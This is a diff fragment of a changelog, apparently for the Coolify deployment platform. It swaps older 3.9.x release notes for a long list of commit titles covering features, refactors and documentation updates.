-- Add php 8.1/8.2 -- Edgedb ui -- Edgedb stuff -- Edgedb - -### 💼 Other - -- Fix login/register page -- Update devcontainer -- Add debug log -- Fix initial loading icon bg -- Fix loading start/stop db/services -- Dashboard updates and a lot more - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Version++ - -## [3.9.0] - 2022-09-06 - -### 🐛 Bug Fixes - -- Debug api logging + gh actions -- Workdir -- Move restart button to settings - -## [3.9.1-rc.1] - 2022-09-06 - -### 🚀 Features - -- *(routes)* Rework ui from login and register page - -### 🐛 Bug Fixes - -- Ssh pid agent name -- Repository link trim -- Fqdn or expose port required -- Service deploymentEnabled -- Expose port is not required -- Remote verification -- Dockerfile - -### 💼 Other - -- Database_branches -- Login page - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Version++ - -## [3.9.0-rc.1] - 2022-09-02 - -### 🚀 Features - -- New service - weblate -- Restart application -- Show elapsed time on running builds -- Github allow fual branches -- Gitlab dual branch -- Taiga - -### 🐛 Bug Fixes - -- Glitchtip things -- Loading state on start -- Ui -- Submodule -- Gitlab webhooks -- UI + refactor -- Exposedport on save -- Appwrite letsencrypt -- Traefik appwrite -- Traefik -- Finally works! :) -- Rename components + remove PR/MR deployment from public repos -- Settings missing id -- Explainer component -- Database name on logs view -- Taiga - -### 💼 Other - +- Docker-compose support +- Docker compose +- Remove worker jobs +- One less worker thread +- New resource label +- Secrets on apps +- Fix - Fixes -- Change tooltips and info boxes -- Added rc release +- Reload compose loading +- Pocketbase release +- Trpc +- Trpc +- Trpc +- Trpc +- Trpc +- Trpc +- Trpc +- Trpc +- Trpc +- Trpc +- Conditional on environment +- Add missing variables +- Trpc +- Trpc +- Trpc +- Trpc +- Trpc +- Trpc +- Trpc +- Extract process handling from async job. +- Extract process handling from async job. +- Extract process handling from async job. +- Extract process handling from async job. +- Extract process handling from async job. +- Extract process handling from async job. +- Extract process handling from async job. +- Persisting data +- Scheduled backups +- Boarding +- Backup existing database +- User should know that the public key +- Services are not availble yet +- Show registered users on waitlist page +- Nixpacksarchive +- Add Plausible analytics +- Global env variables +- Fix +- Trial emails +- Server check instead of app check +- Show trial instead of sub +- Server lost connection +- Services +- Services +- Services +- Ui for services +- Services +- Services +- Services +- Fixes +- Fix typo +- Fixed z-index for version link. +- Add source button +- Fixed z-index for magicbar +- A bit better error +- More visible feedback button +- Update help modal +- Help +- Marketing emails +- Fix previews to preview +- Uptime kume hc updated +- Switch back to /data (volume errors) +- Notifications +- Add shared email option to everyone +- Dockerimage +- Updated dashboard +- Fix +- Fix +- Coolify proxy access logs exposed in dev +- Able to select environment on new resource +- Delete server +- Redis +- Wordpress +- Add helper to service domains +- PAT by team +- Generate services +- Mongodb backup +- Mongodb backup +- Updates +- Fix subs +- New deployment jobs +- Compose based apps +- Swarm +- Swarm +- Swarm +- Swarm +- Disable trial +- Meilisearch +- Broadcast +- 🌮 +- Env vars +- Migrate to livewire 3 +- Fix for comma in labels +- Add image name to service stack + better options visibility +- Swarm +- Swarm +- Send notification email if payment +- New modal component +- Specific about newrelic logdrains +- Updates +- Change + icon to hamburger. +- Redesign +- Redesign +- Run cleanup every day +- Fix +- Fix log outputs +- Automatic cloudflare tunnels +- Backup executions +- Light buttons +- Multiple server view +- New pricing +- Fix allowTab logic +- Use 2 space instead of tab +- Non-root user for remote servers +- Non-root +- Update resource operations view +- Fix tag view +- Fix a few boxes here and there +- Responsive here and there +- Rocketchat +- New services based git apps +- Unnecessary notification +- Update process +- Glances service +- Glances +- Able to update application +- Add basedir + compose file in new compose based apps +- Formbricks template add required CRON_SECRET +- Add required CRON_SECRET to Formbricks template +- Service env parsing +- Actually update timezone on the server +- Cron jobs are executed based on the server timezone +- Server timezone seeder +- Recent backups UI +- Use apt-get instead of apt +- Typo +- Only pull helper image if the version is newer than the one +- Plunk svg +- Pull helper image if not available otherwise s3 backup upload fails +- Set a default server timezone +- Implement SSH Multiplexing +- Enabel mux +- Cleanup stale multiplexing connections +- Remote servers with port and user +- Do not change localhost server name on revalidation +- Release.md file +- SSH Multiplexing on docker desktop on Windows +- Remove labels and assignees on issue close +- Make sure this action is also triggered on PR issue close +- Volumes on development environment +- Clean new volume name for dev volumes +- Persist DBs, services and so on stored in data/coolify +- Add SSH Key fingerprint to DB +- Add a fingerprint to every private key on save, create... +- Make sure invalid private keys can not be added +- Encrypt private SSH keys in the DB +- Add is_sftp and is_server_ssh_key coloums +- New ssh key file name on disk +- Store all keys on disk by default +- Populate SSH key folder +- Populate SSH keys in dev +- Use new function names and logic everywhere +- Create a Multiplexing Helper +- SSH multiplexing +- Remove unused code form multiplexing +- SSH Key cleanup job +- Private key with ID 2 on dev +- Move more functions to the PrivateKey Model +- Add ssh key fingerprint and generate one for existing keys +- ID issues on dev seeders +- Server ID 0 +- Make sure in use private keys are not deleted +- Do not delete SSH Key from disk during server validation error +- UI bug, do not write ssh key to disk in server dialog +- SSH Multiplexing for Jobs +- SSH algorhytm text +- Few multiplexing things +- Clear mux directory +- Multiplexing do not write file manually +- Integrate tow step process in the modal component WIP +- Ability to hide labels +- DB start, stop confirm +- Del init script +- General confirm +- Preview deployments and typos +- Service confirmation +- Confirm file storage +- Stop service confirm +- DB image cleanup +- Confirm ressource operation +- Environment variabel deletion +- Confirm scheduled tasks +- Confirm API token +- Confirm private key +- Confirm server deletion +- Confirm server settings +- Proxy stop and restart confirmation +- GH app deletion confirmation +- Redeploy all confirmation +- User deletion confirmation +- Team deletion confirmation +- Backup job confirmation +- Delete volume confirmation +- More conformations and fixes +- Delete unused private keys button +- Ray error because port is not uncommented +- #3322 deploy DB alterations before updating +- Css issue with advanced settings and remove cf tunnel in onboarding +- New cf tunnel install flow +- Made help text more clear +- Cloudflare tunnel +- Make helper text more clean to use a FQDN and not an URL +- Manual cleanup button and unused volumes and network deletion +- Force helper image removal +- Use the new confirmation flow +- Typo +- Typo in install script +- If API is disabeled do not show API token creation stuff +- Disable API by default +- Add debug bar +- Remove memlock as it caused problems for some users +- Server storage check +- Show backup button on supported db service stacks +- Update helper version +- Outline +- Directus +- Supertokens +- Supertokens json +- Rabbitmq +- Easyappointments +- Soketi +- Dozzle +- Windmill +- Coolify.json +- Keycloak +- Other DB options for freshrss +- Nextcloud MariaDB and MySQL versions +- Add peppermint +- Loggy +- Add UI for redis password and username +- Wireguard-easy template +- Https://github.com/coollabsio/coolify/issues/4186 +- Separate resources by type in projects view +- Improve s3 add view +- Caddy docker labels do not honor "strip prefix" option +- Test rename GitHub app +- Checkmate service and fix prowlar slogan (too long) +- Arrrrr +- Dep +- Docker dep +- Trigger.dev templates - wrong key length issue +- Trigger.dev template - missing ports and wrong env usage +- Trigger.dev template - fixed otel config +- Trigger.dev template - fixed otel config +- Trigger.dev template - fixed port config +- Bump all dependencies (#5216) +- Bump Coolify to 4.0.0-beta.398 +- Bump Coolify to 4.0.0-beta.400 +- *(migration)* Add SSL fields to database tables +- SSL Support for KeyDB +- Add missing UUID to openapi spec +- Add missing openapi items to PrivateKey +- Adjust Workflows for v5 (#5689) +- Add support for postmarketOS (#5608) +- *(core)* Simplify events for app/db/service status changes +- *(settings-dropdown)* Add icons to buttons for improved UI in settings dropdown +- *(ui)* Introduce task for simplifying resource operations UI by replacing boxes with dropdown selections to enhance user experience and streamline interactions + +### 🚜 Refactor + +- Code +- Env variable generator +- Service logs are now on one page +- Application status changed realtime +- Custom labels +- Clone project +- Compose file and install script +- Add SCHEDULER environment variable to StartSentinel.php +- Update edit-domain form in project service view +- Add Huly services to compose file +- Remove redundant heading in backup settings page +- Add isBuildServer method to Server model +- Update docker network creation in ApplicationDeploymentJob +- Update destination.blade.php to add group class for better styling +- Applicationdeploymentjob +- Improve code structure in ApplicationDeploymentJob.php +- Remove unnecessary debug statement in ApplicationDeploymentJob.php +- Remove unnecessary debug statements and improve code structure in RunRemoteProcess.php and ApplicationDeploymentJob.php +- Remove unnecessary logging statements from UpdateCoolify +- Update storage form inputs in show.blade.php +- Improve Docker Compose parsing for services +- Remove unnecessary port appending in updateCompose function +- Remove unnecessary form class in profile index.blade.php +- Update form layout in invite-link.blade.php +- Add log entry when starting new application deployment +- Improve Docker Compose parsing for services +- Update Docker Compose parsing for services +- Update slogan in shlink.yaml +- Improve display of deployment time in index.blade.php +- Remove commented out code for clearing Ray logs +- Update save_environment_variables method to use application's environment_variables instead of environment_variables_preview +- Append utm_source parameter to documentation URL +- Update save_environment_variables method to use application's environment_variables instead of environment_variables_preview +- Update deployment previews heading to "Deployments" +- Remove unused variables and improve code readability +- Initialize null properties in Github Change component +- Improve pre and post deployment command inputs +- Improve handling of Docker volumes in parseDockerComposeFile function +- Replaces duplications in code with a single function +- Update text color for stderr output in deployment show view +- Update text color for stderr output in deployment show view +- Remove debug code for saving environment variables +- Update Docker build commands for better performance and flexibility +- Update image sizes and add new logos to README.md +- Update README.md with new logos and fix styling +- Update shared.php to use correct key for retrieving sentinel version +- Update container name assignment in Application model +- Remove commented code for docker container removal +- Update Application model to include getDomainsByUuid method +- Update Project/Show component to sort environments by created_at +- Update profile index view to display 2FA QR code in a centered container +- Update dashboard.blade.php to use project's default environment for redirection +- Update gitCommitLink method to handle null values in source.html_url +- Update docker-compose generation to use multi-line literal block +- Update Service model's saveComposeConfigs method +- Add default environment to Service model's saveComposeConfigs method +- Improve handling of default environment in Service model's saveComposeConfigs method +- Remove commented out code in Service model's saveComposeConfigs method +- Update stack-form.blade.php to include wire:target attribute for submit button +- Update code to use str() instead of Str::of() for string manipulation +- Improve formatting and readability of source.blade.php +- Add is_build_time property to nixpacks_php_fallback_path and nixpacks_php_root_dir +- Simplify code for retrieving subscription in Stripe webhook +- Add force parameter to StartProxy handle method +- Comment out unused code for network cleanup +- Reset default labels when docker_compose_domains is modified +- Webhooks view +- Tags view +- Only get instanceSettings once from db +- Update Dockerfile to set CI environment variable to true +- Remove unnecessary code in AppServiceProvider.php +- Update Livewire configuration views +- Update Webhooks.php to use nullable type for webhook URLs +- Add lazy loading to tags in Livewire configuration view +- Update metrics.blade.php to improve alert message clarity +- Update version numbers to 4.0.0-beta.312 +- Update version numbers to 4.0.0-beta.314 +- Remove unused code and fix storage form layout +- Update Docker Compose build command to include --pull flag +- Update DockerCleanupJob to handle nullable usageBefore property +- Server status job and docker cleanup job +- Update DockerCleanupJob to use server settings for force cleanup +- Update DockerCleanupJob to use server settings for force cleanup +- Disable health check for Rust applications during deployment +- Update CleanupDatabase.php to adjust keep_days based on environment +- Adjust keep_days in CleanupDatabase.php based on environment +- Remove commented out code for cleaning up networks in CleanupDocker.php +- Update livewire polling interval in heading.blade.php +- Remove unused code for checking server status in Heading.php +- Simplify log drain installation in ServerCheckJob +- Remove unnecessary debug statement in ServerCheckJob +- Simplify log drain installation and stop log drain if necessary +- Cleanup unnecessary dynamic proxy configuration in Init command +- Remove unnecessary debug statement in ApplicationDeploymentJob +- Update timeout for graceful_shutdown_container in ApplicationDeploymentJob +- Remove unused code and optimize CheckForUpdatesJob +- Update ProxyTypes enum values to use TRAEFIK instead of TRAEFIK_V2 +- Update Traefik labels on init and cleanup unnecessary dynamic proxy configuration +- Update StandalonePostgresql database initialization and backup handling +- Update cron expressions and add helper text for scheduled tasks +- Update Server model getContainers method to use collect() for containers and containerReplicates +- Import ProxyTypes enum and use TRAEFIK instead of TRAEFIK_V2 +- Update event listeners in Show components +- Refresh application to get latest database changes +- Update RabbitMQ configuration to use environment variable for port +- Remove debug statement in parseDockerComposeFile function +- ParseServiceVolumes +- Update OpenApi command to generate documentation +- Remove unnecessary server status check in destination view +- Remove unnecessary admin user email and password in budibase.yaml +- Improve saving of custom internal name in Advanced.php +- Add conditional check for volumes in generate_compose_file() +- Improve storage mount forms in add.blade.php +- Load environment variables based on resource type in sortEnvironmentVariables() +- Remove unnecessary network cleanup in Init.php +- Remove unnecessary environment variable checks in parseDockerComposeFile() +- Add null check for docker_compose_raw in parseCompose() +- Update dockerComposeParser to use YAML data from $yaml instead of $compose +- Convert service variables to key-value pairs in parseDockerComposeFile function +- Update database service name from mariadb to mysql +- Remove unnecessary code in DatabaseBackupJob and BackupExecutions +- Update Docker Compose parsing function to convert service variables to key-value pairs +- Update Docker Compose parsing function to convert service variables to key-value pairs +- Remove unused server timezone seeder and related code +- Remove unused server timezone seeder and related code +- Remove unused PullCoolifyImageJob from schedule +- Update parse method in Advanced, All, ApplicationPreview, General, and ApplicationDeploymentJob classes +- Remove commented out code for getIptables() in Dashboard.php +- Update .env file path in install.sh script +- Update SELF_HOSTED environment variable in docker-compose.prod.yml +- Remove unnecessary code for creating coolify network in upgrade.sh +- Update environment variable handling in StartClickhouse.php and ApplicationDeploymentJob.php +- Improve handling of COOLIFY_URL in shared.php +- Update build_args property type in ApplicationDeploymentJob +- Update background color of sponsor section in README.md +- Update Docker Compose location handling in PublicGitRepository +- Upgrade process of Coolify +- Improve handling of server timezones in scheduled backups and tasks +- Improve handling of server timezones in scheduled backups and tasks +- Improve handling of server timezones in scheduled backups and tasks +- Update cleanup schedule to run daily at midnight +- Skip returning volume if driver type is cifs or nfs +- Improve environment variable handling in shared.php +- Improve handling of environment variable merging in upgrade script +- Remove unnecessary code in ExecuteContainerCommand.php +- Improve Docker network connection command in StartService.php +- Terminal / run command +- Add authorization check in ExecuteContainerCommand mount method +- Remove unnecessary code in Terminal.php +- Remove unnecessary code in Terminal.blade.php +- Update WebSocket connection initialization in terminal.blade.php +- Remove unnecessary console.log statements in terminal.blade.php +- Update Docker cleanup label in Heading.php and Navbar.php +- Remove commented out code in Navbar.php +- Remove CleanupSshKeysJob from schedule in Kernel.php +- Update getAJoke function to exclude offensive jokes +- Update getAJoke function to use HTTPS for API request +- Update CleanupHelperContainersJob to use more efficient Docker command +- Update PrivateKey model to improve code readability and maintainability +- Remove unnecessary code in PrivateKey model +- Update PrivateKey model to use ownedByCurrentTeam() scope for cleanupUnusedKeys() +- Update install.sh script to check if coolify-db volume exists before generating SSH key +- Update ServerSeeder and PopulateSshKeysDirectorySeeder +- Improve attribute sanitization in Server model +- Update confirmation button text for deletion actions +- Remove unnecessary code in shared.php file +- Update environment variables for services in compose files +- Update select.blade.php to improve trademarks policy display +- Update select.blade.php to improve trademarks policy display +- Fix typo in subscription URLs +- Add Postiz service to compose file (disabled for now) +- Update shared.php to include predefined ports for services +- Simplify SSH key synchronization logic +- Remove unused code in DatabaseBackupStatusJob and PopulateSshKeysDirectorySeeder +- Remove commented out code and improve environment variable handling in newParser function +- Improve label positioning in input and checkbox components +- Group and sort fields in StackForm by service name and password status +- Improve layout and add checkbox for task enablement in scheduled task form +- Update checkbox component to support full width option +- Update confirmation label in danger.blade.php template +- Fix typo in execute-container-command.blade.php +- Update OS_TYPE for Asahi Linux in install.sh script +- Add localhost as Server if it doesn't exist and not in cloud environment +- Add localhost as Server if it doesn't exist and not in cloud environment +- Update ProductionSeeder to fix issue with coolify_key assignment +- Improve modal confirmation titles and button labels +- Update install.sh script to remove redirection of upgrade output to /dev/null +- Fix modal input closeOutside prop in configuration.blade.php +- Add support for IPv6 addresses in sslip function +- Update environment variable name for uptime-kuma service +- Improve start proxy script to handle existing containers gracefully +- Update delete server confirmation modal buttons +- Remove unnecessary code +- Update search input placeholder in resource index view +- Remove deployment queue when deleting an application +- Improve SSH command generation in Terminal.php and terminal-server.js +- Fix indentation in modal-confirmation.blade.php +- Improve parsing of commands for sudo in parseCommandsByLineForSudo +- Improve popup component styling and button behavior +- Encode delimiter in SshMultiplexingHelper +- Remove inactivity timer in terminal-server.js +- Improve socket reconnection interval in terminal.js +- Remove unnecessary watch command from soketi service entrypoint +- Update Traefik configuration for improved security and logging +- Improve proxy configuration and code consistency in Server model +- Rename name method to sanitizedName in BaseModel for clarity +- Improve migration command and enhance application model with global scope and status checks +- Unify notification icon +- Remove unused Azure and Authentik service configurations from services.php +- Change email column types in instance_settings migration from string to text +- Change OauthSetting creation to updateOrCreate for better handling of existing records +- Rename `coolify.environment` to `coolify.environmentName` +- Rename parameter in DatabaseBackupJob for clarity +- Improve checkbox component accessibility and styling +- Remove unused tags method from ApplicationDeploymentJob +- Improve deployment status check in isAnyDeploymentInprogress function +- Extend HorizonServiceProvider from HorizonApplicationServiceProvider +- Streamline job status retrieval and clean up repository interface +- Enhance ApplicationDeploymentJob and HorizonServiceProvider for improved job handling +- Remove commented-out unsubscribe route from API +- Update redirect calls to use a consistent navigation method in deployment functions +- AppServiceProvider +- Github.php +- Improve data formatting and UI +- Comment out RootUserSeeder call in ProductionSeeder for clarity +- Streamline ProductionSeeder by removing debug logs and unnecessary checks, while ensuring essential seeding operations remain intact +- Remove debug echo statements from Init command to clean up output and improve readability +- *(workflows)* Replace jq with PHP script for version retrieval in workflows +- *(s3)* Improve S3 bucket endpoint formatting +- *(vite)* Improve environment variable handling in Vite configuration +- *(ui)* Simplify GitHub App registration UI and layout +- Simplify service start and restart workflows +- Use pull flag on docker compose up +- *(ui)* Simplify file storage modal confirmations +- *(notifications)* Improve transactional email settings handling +- *(scheduled-tasks)* Improve scheduled task creation and management +- *(billing)* Enhance Stripe subscription status handling and notifications +- *(ui)* Unhide log toggle in application settings +- *(nginx)* Streamline default Nginx configuration and improve error handling +- *(install)* Clean up install script and enhance Docker installation logic +- *(ScheduledTask)* Clean up code formatting and remove unused import +- *(app)* Remove unused MagicBar component and related code +- *(database)* Streamline SSL configuration handling across database types +- *(application)* Streamline healthcheck parsing from Dockerfile +- *(notifications)* Standardize getRecipients method signatures +- *(configuration)* Centralize configuration management in ConfigurationRepository +- *(docker)* Update image references to use centralized registry URL +- *(env)* Add centralized registry URL to environment configuration +- *(storage)* Simplify file storage iteration in Blade template +- *(models)* Add is_directory attribute to LocalFileVolume model +- *(modal)* Add ignoreWire attribute to modal-confirmation component +- *(invite-link)* Adjust layout for better responsiveness in form +- *(invite-link)* Enhance form layout for improved responsiveness +- *(network)* Enhance docker network creation with ipv6 fallback +- *(network)* Check for existing coolify network before creation +- *(database)* Enhance encryption process for local file volumes +- *(proxy)* Improve port availability checks with multiple methods +- *(database)* Update MongoDB SSL configuration for improved security +- *(database)* Enhance SSL configuration handling for various databases +- *(notifications)* Update Telegram button URL for staging environment +- *(models)* Remove unnecessary cloud check in isEnabled method +- *(database)* Streamline event listeners in Redis General component +- *(database)* Remove redundant database status display in MongoDB view +- *(database)* Update import statements for Auth in database components +- *(database)* Require PEM key file for SSL certificate regeneration +- *(database)* Change MySQL daemon command to MariaDB daemon +- *(nightly)* Update version numbers and enhance upgrade script +- *(versions)* Update version numbers for coolify and nightly +- *(email)* Validate team membership for email recipients +- *(shared)* Simplify deployment status check logic +- *(shared)* Add logging for running deployment jobs +- *(shared)* Enhance job status check to include 'reserved' +- *(email)* Improve error handling by passing context to handleError +- *(email)* Streamline email sending logic and improve configuration handling +- *(email)* Remove unnecessary whitespace in email sending logic +- *(email)* Allow custom email recipients in email sending logic +- *(email)* Enhance sender information formatting in email logic +- *(proxy)* Remove redundant stop call in restart method +- *(file-storage)* Add loadStorageOnServer method for improved error handling +- *(docker)* Parse and sanitize YAML compose file before encoding +- *(file-storage)* Improve layout and structure of input fields +- *(email)* Update label for test email recipient input +- *(database-backup)* Remove existing Docker container before backup upload +- *(database)* Improve decryption and deduplication of local file volumes +- *(database)* Remove debug output from volume update process +- *(dev)* Remove OpenAPI generation functionality +- *(migration)* Enhance local file volumes migration with logging +- *(CheckProxy)* Replace 'which' with 'command -v' for command availability checks +- *(Server)* Use data_get for safer access to settings properties in isFunctional method +- *(Application)* Rename network_aliases to custom_network_aliases across the application for clarity and consistency +- *(ApplicationDeploymentJob)* Streamline environment variable handling by introducing generate_coolify_env_variables method and consolidating logic for pull request and main branch scenarios +- *(ApplicationDeploymentJob, ApplicationDeploymentQueue)* Improve deployment status handling and log entry management with transaction support +- *(SourceManagement)* Sort sources by name and improve UI for changing Git source with better error handling +- *(Email)* Streamline SMTP and resend settings handling in copyFromInstanceSettings method +- *(Email)* Enhance error handling in SMTP and resend methods by passing context to handleError function +- *(DynamicConfigurations)* Improve handling of dynamic configuration content by ensuring fallback to empty string when content is null +- *(ServicesGenerate)* Update command signature from 'services:generate' to 'generate:services' for consistency; update Dockerfile to run service generation during build; update Odoo image version to 18 and add extra addons volume in compose configuration +- *(Dockerfile)* Streamline RUN commands for improved readability and maintainability by adding line continuations +- *(Dockerfile)* Reintroduce service generation command in the build process for consistency and ensure proper asset compilation +- *(commands)* Reorganize OpenAPI and Services generation commands into a new namespace for better structure; remove old command files +- *(Dockerfile)* Remove service generation command from the build process to streamline Dockerfile and improve build efficiency +- *(navbar-delete-team)* Simplify modal confirmation layout and enhance button styling for better user experience +- *(Server)* Remove debug logging from isReachableChanged method to clean up code and improve performance +- *(source)* Conditionally display connected source and change source options based on private key presence +- *(jobs)* Update WithoutOverlapping middleware to use expireAfter for better queue management +- *(jobs)* Comment out unused Caddy label handling in ApplicationDeploymentJob and simplify proxy path logic in Server model +- *(database)* Simplify database type checks in ServiceDatabase and enhance image validation in Docker helper +- *(shared)* Remove unused ray debugging statement from newParser function +- *(applications)* Remove redundant error response in create_env method +- *(api)* Restructure routes to include versioning and maintain existing feedback endpoint +- *(api)* Remove token variable from OpenAPI specifications for clarity +- *(environment-variables)* Remove protected variable checks from delete methods for cleaner logic +- *(http-basic-auth)* Rename 'http_basic_auth_enable' to 'http_basic_auth_enabled' across application files for consistency +- *(docker)* Remove debug statement and enhance hostname handling in Docker run conversion +- *(server)* Simplify proxy path logic and remove unnecessary conditions +- *(Database)* Streamline container shutdown process and reduce timeout duration +- *(core)* Streamline container stopping process and reduce timeout duration; update related methods for consistency +- *(database)* Update DB facade usage for consistency across service files +- *(database)* Enhance application conversion logic and add existence checks for databases and applications +- *(actions)* Standardize method naming for network and configuration deletion across application and service classes +- *(logdrain)* Consolidate log drain stopping logic to reduce redundancy +- *(StandaloneMariadb)* Add type hint for destination method to improve code clarity +- *(DeleteResourceJob)* Streamline resource deletion logic and improve conditional checks for database types +- *(jobs)* Update middleware to prevent job release after expiration for CleanupInstanceStuffsJob, RestartProxyJob, and ServerCheckJob +- *(jobs)* Unify middleware configuration to prevent job release after expiration for DockerCleanupJob and PushServerUpdateJob +- *(service)* Observium +- *(service)* Improve leantime +- *(service)* Imporve limesurvey +- *(service)* Improve CodiMD +- *(service)* Typsense +- *(services)* Improve yamtrack +- *(service)* Improve paymenter +- *(service)* Consolidate configuration change dispatch logic and remove unused navbar component +- *(sidebar)* Simplify server patching link by removing button element +- *(slide-over)* Streamline button element and improve code readability +- *(service)* Enhance modal confirmation component with event dispatching for service stop actions +- *(slide-over)* Enhance class merging for improved component styling +- *(core)* Use property promotion +- *(service)* Improve maybe +- *(applications)* Remove unused docker compose raw decoding +- *(service)* Make TYPESENSE_API_KEY required +- *(ui)* Show toast when server does not work and on stop +- *(service)* Improve superset +- *(service)* Improve Onetimesecret +- *(service)* Improve Seafile +- *(service)* Improve orangehrm +- *(service)* Improve grist +- *(application)* Enhance application stopping logic to support multiple servers +- *(pricing-plans)* Improve label class binding for payment frequency selection +- *(error-handling)* Replace generic Exception with RuntimeException for improved error specificity +- *(error-handling)* Change Exception to RuntimeException for clearer error reporting +- *(service)* Remove informational dispatch during service stop for cleaner execution +- *(server-ui)* Improve layout and messaging in advanced settings and charts views +- *(terminal-access)* Streamline resource retrieval and enhance terminal access messaging in UI +- *(terminal)* Enhance terminal connection management and error handling, including improved reconnection logic and cleanup procedures +- *(application-deployment)* Separate handling of FAILED and CANCELLED_BY_USER statuses for clearer logic and notification +- *(jobs)* Update middleware to include job-specific identifiers for WithoutOverlapping +- *(jobs)* Modify middleware to use job-specific identifier for WithoutOverlapping +- *(environment-variables)* Remove debug logging from bulk submit handling for cleaner code +- *(environment-variables)* Simplify application build pack check in environment variable handling +- *(logs)* Adjust padding in logs view for improved layout consistency +- *(application-deployment)* Streamline post-deployment process by always dispatching container status check +- *(service-management)* Enhance container stopping logic by implementing parallel processing and removing deprecated methods +- *(activity-monitor)* Change activity property visibility and update view references for consistency +- *(activity-monitor)* Enhance layout responsiveness by adjusting class bindings and structure for better display +- *(service-management)* Update stopContainersInParallel method to enforce Server type hint for improved type safety +- *(service-management)* Rearrange docker cleanup logic in StopService to improve readability +- *(database-management)* Simplify docker cleanup logic in StopDatabase to enhance readability +- *(activity-monitor)* Consolidate activity monitoring logic and remove deprecated NewActivityMonitor component +- *(activity-monitor)* Update dispatch method to use activityMonitor instead of deprecated newActivityMonitor +- *(push-server-update)* Enhance application preview handling by incorporating pull request IDs and adding status update protections +- *(docker-compose)* Replace hardcoded Docker Compose configuration with external YAML template for improved database detection testing +- *(test-database-detection)* Rename services for clarity, add new database configurations, and update application service dependencies +- *(database-detection)* Enhance isDatabaseImage function to utilize service configuration for improved detection accuracy +- *(install-scripts)* Update Docker installation process to include manual installation fallback and improve error handling +- *(logs-view)* Update logs display for service containers with improved headings and dynamic key binding +- *(logs)* Enhance container loading logic and improve UI for logs display across various resource types +- *(cloudflare-tunnel)* Enhance layout and structure of Cloudflare Tunnel documentation and confirmation modal +- *(terminal-connection)* Streamline auto-connection logic and improve component readiness checks +- *(logs)* Remove unused methods and debug functionality from Logs.php for cleaner code +- *(remoteProcess)* Update sanitize_utf8_text function to accept nullable string parameter for improved type safety +- *(events)* Remove ProxyStarted event and associated ProxyStartedNotification listener for code cleanup +- *(navbar)* Remove unnecessary parameters from server navbar component for cleaner implementation +- *(proxy)* Remove commented-out listener and method for cleaner code structure +- *(events)* Update ProxyStatusChangedUI constructor to accept nullable teamId for improved flexibility +- *(cloudflare)* Update server retrieval method for improved query efficiency +- *(navbar)* Remove unused PHP use statement for cleaner code +- *(proxy)* Streamline proxy status handling and improve dashboard availability checks +- *(navbar)* Simplify proxy status handling and enhance loading indicators for better user experience +- *(resource-operations)* Filter out build servers from the server list and clean up commented-out code in the resource operations view +- *(execute-container-command)* Simplify connection logic and improve terminal availability checks +- *(navigation)* Remove wire:navigate directive from configuration links for cleaner HTML structure +- *(proxy)* Update StartProxy calls to use named parameter for async option +- *(clone-project)* Enhance server retrieval by including destinations and filtering out build servers +- *(ui)* Terminal +- *(ui)* Remove terminal header from execute-container-command view +- *(ui)* Remove unnecessary padding from deployment, backup, and logs sections +- *(service)* Update Hoarder to their new name karakeep (#5964) +- *(service)* Karakeep naming and formatting +- *(service)* Improve miniflux +- *(core)* Rename API rate limit ENV +- *(ui)* Simplify container selection form in execute-container-command view +- *(email)* Streamline SMTP and resend settings logic for improved clarity +- *(invitation)* Rename methods for consistency and enhance invitation deletion logic +- *(user)* Streamline user deletion process and enhance team management logic +- *(ui)* Separate views for instance settings to separate paths to make it cleaner +- *(ui)* Remove unnecessary step3ButtonText attributes from modal confirmation components for cleaner code +- *(ui)* Enhance project cloning interface with improved table layout for server and resource selection +- *(terminal)* Simplify command construction for SSH execution +- *(settings)* Streamline instance admin checks and initialization of settings in Livewire components +- *(policy)* Optimize team membership checks in S3StoragePolicy +- *(popup)* Improve styling and structure of the small popup component +- *(shared)* Enhance FQDN generation logic for services in newParser function +- *(redis)* Enhance CleanupRedis command with dry-run option and improved key deletion logic +- *(init)* Standardize method naming conventions and improve command structure in Init.php +- *(shared)* Improve error handling in getTopLevelNetworks function to return network name on invalid docker-compose.yml +- *(database)* Improve error handling for unsupported database types in StartDatabaseProxy +- *(previews)* Streamline preview URL generation by utilizing application method +- *(application)* Adjust layout and spacing in general application view for improved UI +- *(postgresql)* Improve layout and spacing in SSL and Proxy configuration sections for better UI consistency +- *(scheduling)* Replace deprecated job checks with ScheduledJobManager and ServerResourceManager for improved scheduling efficiency +- *(previews)* Move preview domain generation logic to ApplicationPreview model for better encapsulation and consistency across webhook handlers +- *(service)* Improve gowa +- *(previews)* Streamline preview domain generation logic in ApplicationDeploymentJob for improved clarity and maintainability +- *(services)* Simplify environment variable updates by using updateOrCreate and add cleanup for removed FQDNs +- *(jobs)* Remove logging for ScheduledJobManager and ServerResourceManager start and completion +- *(services)* Update validation rules to be optional +- *(service)* Improve langfuse +- *(service)* Improve openpanel template +- *(service)* Improve librechat +- *(public-git-repository)* Enhance form structure and add autofocus to repository URL input +- *(public-git-repository)* Remove commented-out code for cleaner template +- *(templates)* Update service template file handling to use dynamic file name from constants +- *(parsers)* Streamline domain handling in applicationParser and improve DNS validation logic +- *(templates)* Replace SERVICE_FQDN variables with SERVICE_URL in compose files for consistency +- *(links)* Replace inline SVGs with reusable external link component for consistency and improved maintainability +- *(previews)* Improve layout and add deployment/application logs links for previews +- *(docker compose)* Remove deprecated newParser function and associated test file to streamline codebase +- *(shared helpers)* Remove unused parseServiceVolumes function to clean up codebase +- *(parsers)* Update volume parsing logic to use beforeLast and afterLast for improved accuracy +- *(validation)* Implement centralized validation patterns across components +- *(jobs)* Rename job classes to indicate deprecation status +- Update check frequency logic for cloud and self-hosted environments; streamline server task scheduling and timezone handling +- *(policies)* Remove Response type hint from update methods in ApplicationPreviewPolicy and DatabasePolicy for improved flexibility +- *(policies)* Remove Response type hint from update methods in ApplicationPreviewPolicy and DatabasePolicy for improved flexibility +- *(git)* Improve submodule cloning +- *(parsers)* Remove unnecessary hyphen-to-underscore replacement for service names in serviceParser function +- *(urls)* Replace generateFqdn with generateUrl for consistent URL generation across applications +- *(domains)* Rename check_domain_usage to checkDomainUsage and update references across the application +- *(auth)* Simplify access control logic in CanAccessTerminal and ServerPolicy by allowing all users to perform actions +- *(policy)* Simplify ServiceDatabasePolicy methods to always return true and add manageBackups method + +### 📚 Documentation + +- Contribution guide +- How to add new services +- Update +- Update +- Update Plunk documentation link in compose/plunk.yaml +- Update link to deploy api docs +- Add TECH_STACK.md (#4883) +- *(services)* Reword nitropage url and slogan +- *(readme)* Add Convex to special sponsors section +- Update changelog +- Update changelog 